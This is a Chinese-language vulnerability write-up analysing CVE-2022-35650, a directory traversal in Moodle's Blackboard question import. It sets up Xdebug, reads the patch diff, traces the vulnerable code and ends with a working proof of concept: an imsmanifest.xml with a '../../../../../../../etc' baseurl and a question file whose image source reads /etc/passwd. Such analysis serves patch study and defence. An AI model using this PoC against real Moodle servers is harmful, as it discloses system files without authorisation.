0x00介绍
CVE-2022-35650该漏洞是在 Moodle 中发现的,由于导入课程问题输入验证错误而发生。这种不充分的路径检查会导致任意文件读取风险。此漏洞允许远程攻击者执行目录遍历攻击。默认情况下,只有教师、管理人和高级管理员可以访问此功能。
很长一段时间以来,一直想写一篇关于 1-day分析的文章,尤其是 PHP,在这篇文章中,我将讨论在分析 1-day的 CVE 补丁时应该采取什么方法以及如何为它制作 PoC。
sudo apt install php-xdebug
nano /etc/php/7.4/mods-available/xdebug.ini
zend_extension=/usr/lib64/php/modules/xdebug.so
xdebug.remote_autostart = 1
xdebug.remote_enable = 1
xdebug.remote_handler = dbgp
xdebug.remote_host = 127.0.0.1
xdebug.remote_mode = req
xdebug.remote_port = 9000
安装 Xdebug 插件:
在 .vscode 目录中创建一个包含以下内容的 launch.json 文件:
{
// Use IntelliSense to learn about possible attributes.
// Hover to view descriptions of existing attributes.
// For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Listen for Xdebug",
"type": "php",
"request": "launch",
"port": 9000
},
{
"name": "Launch currently open script",
"type": "php",
"request": "launch",
"program": "${file}",
"cwd": "${fileDirname}",
"port": 0,
"runtimeArgs": [
"-dxdebug.start_with_request=yes"
],
"env": {
"XDEBUG_MODE": "debug,develop",
"XDEBUG_CONFIG": "client_port=${port}"
}
}
]
}
https://git.moodle.org/gw?p=moodle.git;a=commit;h=3cafb305ded3bf676a2d2b89fcf5a0c6ea7c6d6d
--- a/question/format/blackboard_six/format.php
+++ b/question/format/blackboard_six/format.php
@@ -152,7 +152,8 @@ class qformat_blackboard_six extends qformat_blackboard_six_base {
}
if ($examfile->getAttribute('type') == 'assessment/x-bb-pool') {
if ($examfile->getAttribute('baseurl')) {
- $fileobj->filebase = $this->tempdir. '/' . $examfile->getAttribute('baseurl');
+ $fileobj->filebase = clean_param($this->tempdir . '/'
+ . $examfile->getAttribute('baseurl'), PARAM_SAFEPATH);
}
if ($content = $this->get_filecontent($examfile->getAttribute('file'))) {
$fileobj->filetype = self::FILETYPE_POOL;
代码更改显示,在旧版本中,fileobj 对象的属性文件库将直接从 getAttribute('baseurl') 分配,但在修补版本中,它将由 clean_param 函数进行清理。
以上代码负责导入Question bank中 blackboard 类型。
https://docs.moodle.org/310/en/Question_bank
...
$this->tempdir = make_temp_directory('bbquiz_import/' . $uniquecode);
if (is_readable($filename)) {
if (!copy($filename, $this->tempdir . '/bboard.zip')) {
$this->error(get_string('cannotcopybackup', 'question'));
fulldelete($this->tempdir);
return false;
}
$packer = get_file_packer('application/zip');
if ($packer->extract_to_pathname($this->tempdir . '/bboard.zip', $this->tempdir)) {
$dom = new DomDocument();
if (!$dom->load($this->tempdir . '/imsmanifest.xml')) {
$this->error(get_string('errormanifest', 'qformat_blackboard_six'));
fulldelete($this->tempdir);
return false;
}
$xpath = new DOMXPath($dom);
// We starts from the root element.
$query = '//resources/resource';
$qfile = array();
$examfiles = $xpath->query($query);
foreach ($examfiles as $examfile) {
$fileobj = new qformat_blackboard_six_file();
if ($examfile->getAttribute('type') == 'assessment/x-bb-qti-test'
|| $examfile->getAttribute('type') == 'assessment/x-bb-qti-pool') {
if ($content = $this->get_filecontent($examfile->getAttribute('bb:file'))) {
$fileobj->filetype = self::FILETYPE_QTI;
$fileobj->filebase = $this->tempdir;
$fileobj->text = $content;
$qfile[] = $fileobj;
}
}
if ($examfile->getAttribute('type') == 'assessment/x-bb-pool') {
if ($examfile->getAttribute('baseurl')) {
$fileobj->filebase = $this->tempdir. '/' . $examfile->getAttribute('baseurl');
}
if ($content = $this->get_filecontent($examfile->getAttribute('file'))) {
$fileobj->filetype = self::FILETYPE_POOL;
$fileobj->text = $content;
$qfile[] = $fileobj;
}
}
}
if ($qfile) {
return $qfile;
...
该代码将创建一个临时目录并将blackboard archive提取到其中,然后imsmanifest.xml从中读取文件。
然后通过 XPath 查询,它将检索所有资源元素,然后从 qformat_blackboard_six_file 类创建一个对象,然后检查资源元素的类型属性,如您在补丁差异中看到的那样,如果类型是assessment/x-bb-pool,则会发生漏洞,因此我们可以使用以下 imsmanifest.xml 文件制作一个 zip 存档来测试我们是否正确:
<?xml version="1.0" encoding="UTF-8"?>
<manifest >
<resources>
<resource type="assessment/x-bb-pool" baseurl="test">
test
</resource>
</resources>
</manifest>
我们将在这一行设置断点:
然后代码将获取baseurl属性,如果存在,它将设置
$fileobj->filebase
为
$this->tempdir. '/' . $examfile->getAttribute('baseurl');
我们可以完全控制baseurl属性,因此我们可以进行目录遍历攻击并将其设置$fileobj->filebase为任何位置,接下来是什么?
该get_filecontent 函数将使用file属性作为其参数调用。
get_filecontent功能:
此时,您可能认为我们可以控制 $path 并执行目录遍历,但这是错误的,您会明白为什么。
我们实际上可以从资源元素的路径属性控制 $path,但是如果您按照堆栈跟踪,您会注意到它会返回错误,因为返回的内容应该是一个有效的blackboard pool 的 XML 文件。
将调用 readdata 函数,然后调用 readquestions 并使用作为 readdata 输出的 $lines。
如您所见,我们可以将 $fileobj->text 设置为任意文件内容,但在 readquestions 函数中,它将调用 qformat_blackboard_six_pool 类的 readquestions 函数,其中 $fileobj->text 可以是文件系统中任何文件的内容:
在 readquestions 函数中,它会尝试使用 xmlize 函数解析 text,如果 text 不是有效的 xml 则会返回错误,正如我所说,即使我们可以控制上述函数中的 path 并尝试读取 文件不是有效的 XML 文件,我们将在此处收到错误,我们无法做任何有用的事情。
让我们回到filebase.
在 qformat_blackboard_six 类的 readquestions 函数中,它将调用 qformat_blackboard_six_base 类的 set_filebase 函数,所以让我们看看 filebase 的用法在哪里:
上面的代码将获取 text 作为其参数,并使用正则表达式尝试从 text 中的 img 标记中提取 src 属性的值。
为了达到这个功能,我们必须将资源元素中的文件属性设置为一个有效的blackboard pool xml 文件,希望我们可以在测试目录中找到一个样本 fixtures/sample_blackboard_pool.dat
<?xml version='1.0' encoding='utf-8'?>
<POOL>
<TITLE value='exam 3 2008-9'/>
<QUESTIONLIST>
<QUESTION id='q1' class='QUESTION_TRUEFALSE' points='1'/>
<QUESTION id='q7' class='QUESTION_MULTIPLECHOICE' points='1'/>
<QUESTION id='q8' class='QUESTION_MULTIPLEANSWER' points='1'/>
<QUESTION id='q39-44' class='QUESTION_MATCH' points='1'/>
<QUESTION id='q9' class='QUESTION_ESSAY' points='1'/>
<QUESTION id='q27' class='QUESTION_FILLINBLANK' points='1'/>
</QUESTIONLIST>
<QUESTION_TRUEFALSE id='q1'>
<BODY>
<TEXT><![CDATA[<h1> He Heeeeeeeeeeee</h1>]]></TEXT>
<FLAGS>
<ISHTML value='true'/>
<ISNEWLINELITERAL value='false'/>
</FLAGS>
</BODY>
<ANSWER id='q1_a1'>
<TEXT>False</TEXT>
</ANSWER>
<ANSWER id='q1_a2'>
<TEXT>True</TEXT>
</ANSWER>
<GRADABLE>
<CORRECTANSWER answer_id='q1_a2'/>
<FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
<FEEDBACK_WHEN_INCORRECT><![CDATA[42 is the Ultimate Answer.]]></FEEDBACK_WHEN_INCORRECT>
</GRADABLE>
</QUESTION_TRUEFALSE>
<QUESTION_MULTIPLECHOICE id='q7'>
<BODY>
<TEXT><![CDATA[<span style="font-size:12pt">What's between orange and green in the spectrum?</span>]]></TEXT>
<FLAGS>
<ISHTML value='true'/>
<ISNEWLINELITERAL value='false'/>
</FLAGS>
</BODY>
<ANSWER id='q7_a1' position='1'>
<TEXT><![CDATA[<span style="font-size:12pt">red</span>]]></TEXT>
</ANSWER>
<ANSWER id='q7_a2' position='2'>
<TEXT><![CDATA[<span style="font-size:12pt">yellow</span>]]></TEXT>
</ANSWER>
<ANSWER id='q7_a3' position='3'>
<TEXT><![CDATA[<span style="font-size:12pt">blue</span>]]></TEXT>
</ANSWER>
<GRADABLE>
<CORRECTANSWER answer_id='q7_a2'/>
<FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
<FEEDBACK_WHEN_INCORRECT><![CDATA[Only yellow is between orange and green in the spectrum.]]></FEEDBACK_WHEN_INCORRECT>
</GRADABLE>
</QUESTION_MULTIPLECHOICE>
<QUESTION_MULTIPLEANSWER id='q8'>
<BODY>
<TEXT><![CDATA[<span style="font-size:12pt">What's between orange and green in the spectrum?</span>]]></TEXT>
<FLAGS>
<ISHTML value='true'/>
<ISNEWLINELITERAL value='false'/>
</FLAGS>
</BODY>
<ANSWER id='q8_a1' position='1'>
<TEXT><![CDATA[<span style="font-size:12pt">yellow</span>]]></TEXT>
</ANSWER>
<ANSWER id='q8_a2' position='2'>
<TEXT><![CDATA[<span style="font-size:12pt">red</span>]]></TEXT>
</ANSWER>
<ANSWER id='q8_a3' position='3'>
<TEXT><![CDATA[<span style="font-size:12pt">off-beige</span>]]></TEXT>
</ANSWER>
<ANSWER id='q8_a4' position='4'>
<TEXT><![CDATA[<span style="font-size:12pt">blue</span>]]></TEXT>
</ANSWER>
<GRADABLE>
<CORRECTANSWER answer_id='q8_a1'/>
<CORRECTANSWER answer_id='q8_a3'/>
<FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
<FEEDBACK_WHEN_INCORRECT><![CDATA[Only yellow and off-beige are between orange and green in the spectrum.]]></FEEDBACK_WHEN_INCORRECT>
</GRADABLE>
</QUESTION_MULTIPLEANSWER>
<QUESTION_MATCH id='q39-44'>
<BODY>
<TEXT><![CDATA[<i>Classify the animals.</i>]]></TEXT>
<FLAGS>
<ISHTML value='true'/>
<ISNEWLINELITERAL value='false'/>
</FLAGS>
</BODY>
<ANSWER id='q39-44_a1' position='1'>
<TEXT><![CDATA[frog]]></TEXT>
</ANSWER>
<ANSWER id='q39-44_a2' position='2'>
<TEXT><![CDATA[cat]]></TEXT>
</ANSWER>
<ANSWER id='q39-44_a3' position='3'>
<TEXT><![CDATA[newt]]></TEXT>
</ANSWER>
<CHOICE id='q39-44_c1' position='1'>
<TEXT><![CDATA[mammal]]></TEXT>
</CHOICE>
<CHOICE id='q39-44_c2' position='2'>
<TEXT><![CDATA[insect]]></TEXT>
</CHOICE>
<CHOICE id='q39-44_c3' position='3'>
<TEXT><![CDATA[amphibian]]></TEXT>
</CHOICE>
<GRADABLE>
<CORRECTANSWER answer_id='q39-44_a1' choice_id='q39-44_c3'/>
<CORRECTANSWER answer_id='q39-44_a2' choice_id='q39-44_c1'/>
<CORRECTANSWER answer_id='q39-44_a3' choice_id='q39-44_c3'/>
</GRADABLE>
</QUESTION_MATCH>
<QUESTION_ESSAY id='q9'>
<BODY>
<TEXT><![CDATA[How are you?]]></TEXT>
<FLAGS>
<ISHTML value='true'/>
<ISNEWLINELITERAL value='false'/>
</FLAGS>
</BODY>
<ANSWER id='q9_a1'>
<TEXT><![CDATA[Blackboard answer for essay questions will be imported as informations for graders.]]></TEXT>
</ANSWER>
<GRADABLE>
</GRADABLE>
</QUESTION_ESSAY>
<QUESTION_FILLINBLANK id='q27'>
<BODY>
<TEXT><![CDATA[<span style="font-size:12pt">Name an amphibian: __________.</span>]]></TEXT>
<FLAGS>
<ISHTML value='true'/>
<ISNEWLINELITERAL value='false'/>
</FLAGS>
</BODY>
<ANSWER id='q27_a1' position='1'>
<TEXT>frog</TEXT>
</ANSWER>
<GRADABLE>
</GRADABLE>
</QUESTION_FILLINBLANK>
</POOL>
正如您看到的代码,它将尝试从 TEXT 元素中定义的 HTML 中提取图像源文件。
在提取它之后,它将创建一个名为的变量fullpath并为其赋值this->filebase . '/' . path,并且正如我所展示的那样,它也在this->filebase我们的控制之下。
如果fullpath是代码将调用的可读文件store_file_for_text_field,那么让我们在 q.xml 中设置baseurlinimsmanifest.xml和 src 属性的值以fullpath指向有效文件:
...
<TEXT><![CDATA[<img src="passwd">]]></TEXT>
...
<?xml version="1.0" encoding="UTF-8"?>
<manifest >
<resources>
<resource type="assessment/x-bb-pool" baseurl="../../../../../../../etc" file="q.xml">
test
</resource>
</resources>
</manifest>
这是store_file_for_text_field功能:
正如你所看到的,它最终会调用create_file_from_pathname,第二个 petameter 是文件系统中文件的位置,在我们的控制之下,我们可以让它指向文件系统中的任何文件。
imsmanifest.xml:
<?xml version="1.0" encoding="UTF-8"?>
<manifest >
<resources>
<resource type="assessment/x-bb-pool" baseurl="../../../../../../../etc" file="q.xml">
test
</resource>
</resources>
</manifest>
q.xml
<?xml version='1.0' encoding='utf-8'?>
<POOL>
<TITLE value='PoC exam'/>
<QUESTIONLIST>
<QUESTION id='q1' class='QUESTION_TRUEFALSE' points='1'/>
</QUESTIONLIST>
<QUESTION_TRUEFALSE id='q1'>
<BODY>
<TEXT><![CDATA[<img src="passwd">]]></TEXT>
<FLAGS>
<ISHTML value='true'/>
<ISNEWLINELITERAL value='false'/>
</FLAGS>
</BODY>
<ANSWER id='q1_a1'>
<TEXT>False</TEXT>
</ANSWER>
<ANSWER id='q1_a2'>
<TEXT>True</TEXT>
</ANSWER>
<GRADABLE>
<CORRECTANSWER answer_id='q1_a2'/>
<FEEDBACK_WHEN_CORRECT><![CDATA[You gave the right answer.]]></FEEDBACK_WHEN_CORRECT>
<FEEDBACK_WHEN_INCORRECT><![CDATA[42 is the Ultimate Answer.]]></FEEDBACK_WHEN_INCORRECT>
</GRADABLE>
</QUESTION_TRUEFALSE>
</POOL>
我们可以查看文件:
您将在此处找到文件的位置: